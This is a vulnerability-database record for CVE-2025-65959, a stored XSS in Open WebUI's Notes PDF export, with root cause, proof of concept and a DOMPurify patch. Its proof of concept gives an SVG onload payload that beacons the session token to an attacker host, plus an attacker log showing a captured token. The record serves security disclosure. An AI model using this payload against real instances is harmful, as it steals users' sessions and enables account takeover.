{"id":"CVE-2025-65959","aliases":["GHSA-8wvc-869r-xfqf"],"url":"https://o3.security/vulnerability/CVE-2025-65959","summary":"Open WebUI vulnerable to Stored DOM XSS via Note 'Download PDF'","details":"## Summary\n\nA **Stored XSS vulnerability** has been discovered in Open-WebUI's Notes PDF download functionality. \nAn attacker can import a Markdown file containing malicious SVG tags into Notes, allowing them to **execute arbitrary JavaScript code** and **steal session tokens** when a victim downloads the note as PDF. \n\nThis vulnerability can be exploited by **any authenticated user**, and unauthenticated external attackers can steal session tokens from users (both admin and regular users) by sharing specially crafted markdown files.\n\n## Details\n\n### Vulnerability Location\n\n**File:** `src/lib/components/notes/utils.ts`  \n**Function:** `downloadPdf()`  \n**Vulnerable Code (Line 35):**\n\n```typescript\nconst contentNode = document.createElement('div');\n\ncontentNode.innerHTML = html;  // Direct assignment without DOMPurify sanitization\n\nnode.appendChild(contentNode);\ndocument.body.appendChild(node);\n```\n\n### Root Cause\n\n1. **Incomplete TipTap Editor Configuration**\n   - Open-WebUI only uses TipTap StarterKit\n   - No Schema definition for dangerous tags like SVG, Script\n   - Unknown HTML tags are stored as raw HTML\n   \n2. **Missing Sanitization During PDF Generation**\n   - `note.data.content.html` is directly assigned to `innerHTML`\n   - No DOMPurify or other sanitization\n   - Stored malicious HTML executes as-is\n\n\n## PoC\n\n### Environment\n- Open-WebUI latest version (v0.6.36)\n- Admin account\n\n### Step 1: Create Malicious Markdown File\n\n**Filename:** `token_stealer.md`\n\n```markdown\n<svg onload=\"navigator.sendBeacon('https://redacted/steal',localStorage.token)\"></svg>\n```\n> navigator.sendBeacon() was used to bypass CORS.\n\n### Step 2: Import to Notes\n\n1. Login to Open-WebUI\n2. Click **\"Notes\"** in the left menu\n3. **Drag and drop** the Markdown file\n4. Note is automatically created\n\n### Step 3: Trigger PDF Download\n\n1. Access Notes menu (/notes)\n2. Click **⋯** on the right side of the uploaded note\n3. Select **\"Download\"** → **\"PDF document (.pdf)\"**\n4. JavaScript executes\n\n### Step 4: Verify Token Theft\n\n**Attacker's server log:**\n```http\nPOST /steal HTTP/1.1\nHost: redacted\nContent-Type: text/plain;charset=UTF-8\nContent-Length: 145\n\neyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6IjVkMjE4ZmU4LTU2MTktNGEzNS05MWZkLTM2MzA3NDU1NGFkNCJ9.zOicE5c5FJ3ZOc9j6T2xHU-K6dbz-s1ib_hIG4LayFw\n```\n\n### And Simple PoC `alert(1)`\n**Filename:** `simple_poc.md`\n\n```markdown\n<svg onload=\"alert(1)\"></svg>\n```\n<img width=\"1089\" height=\"310\" alt=\"image\" src=\"https://github.com/user-attachments/assets/ded7bb4a-d0e0-4614-8d64-3113c1f79e2f\" />\n\n\n---\n\n## Impact\n\n**CVSS 3.1 Score: 8.7 (High)**\n\n```\nCVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N\n```\n\n### Vulnerability Type\n**CWE-79: Cross-site Scripting (XSS)**  \n**CWE-116: Improper Encoding or Escaping of Output**\n\n### Affected Users\n- **All Open-WebUI users**\n- Especially users utilizing the Notes feature\n\n### Attack Scenario\n```\n1. Attacker shares malicious note (.md file) in the community\n2. Victim uploads the shared note (.md file)\n3. Victim downloads as PDF\n4. XSS vulnerability triggers\n5. Victim's session (localStorage.token) is stolen\n```\n\n---\n\n## Recommended Patch\n\n```typescript\n// src/lib/components/notes/utils.ts:35\nimport DOMPurify from 'dompurify';\n\nconst contentNode = document.createElement('div');\n\n// Sanitize with DOMPurify\ncontentNode.innerHTML = DOMPurify.sanitize(html, {\n    ALLOWED_TAGS: [\n        'p', 'br', 'strong', 'em', 'u', 'h1', 'h2', 'h3', 'h4', 'h5', 'h6',\n        'ul', 'ol', 'li', 'a', 'code', 'pre', 'blockquote', 'table', 'thead',\n        'tbody', 'tr', 'td', 'th'\n    ],\n    ALLOWED_ATTR: ['href', 'class', 'target'],\n    FORBID_TAGS: ['svg', 'script', 'iframe', 'object', 'embed', 'style'],\n    FORBID_ATTR: ['onload', 'onerror', 'onclick', 'onmouseover', 'onfocus'],\n    ALLOW_DATA_ATTR: false\n});\n\nnode.appendChild(contentNode);\n```\n\n---\n\n## References\n\n- OWASP XSS Prevention Cheat Sheet: https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html\n- DOMPurify: https://github.com/cure53/DOMPurify\n\n---","published":"2025-12-04T20:46:36.575Z","modified":"2026-08-12T03:51:24.738505473Z","cvss":{"score":8.7,"severity":"HIGH","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N"},"epss":null,"cisaKev":null,"exploitsKnown":0,"affectedPackages":[{"ecosystem":"npm","name":"open-webui","fixedVersion":"0.6.37"}],"fix":{"url":"https://github.com/open-webui/open-webui/commit/03cc6ce8eb5c055115406e2304fbf7e3338b8dce","label":"open-webui/open-webui@03cc6ce"},"references":[{"type":"ADVISORY","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2025/65xxx/CVE-2025-65959.json"},{"type":"ADVISORY","url":"https://github.com/open-webui/open-webui/security/advisories/GHSA-8wvc-869r-xfqf"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2025-65959"},{"type":"FIX","url":"https://github.com/open-webui/open-webui/commit/03cc6ce8eb5c055115406e2304fbf7e3338b8dce"},{"type":"PACKAGE","url":"https://github.com/open-webui/open-webui"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-08-12T03:51:24.738505473Z"}}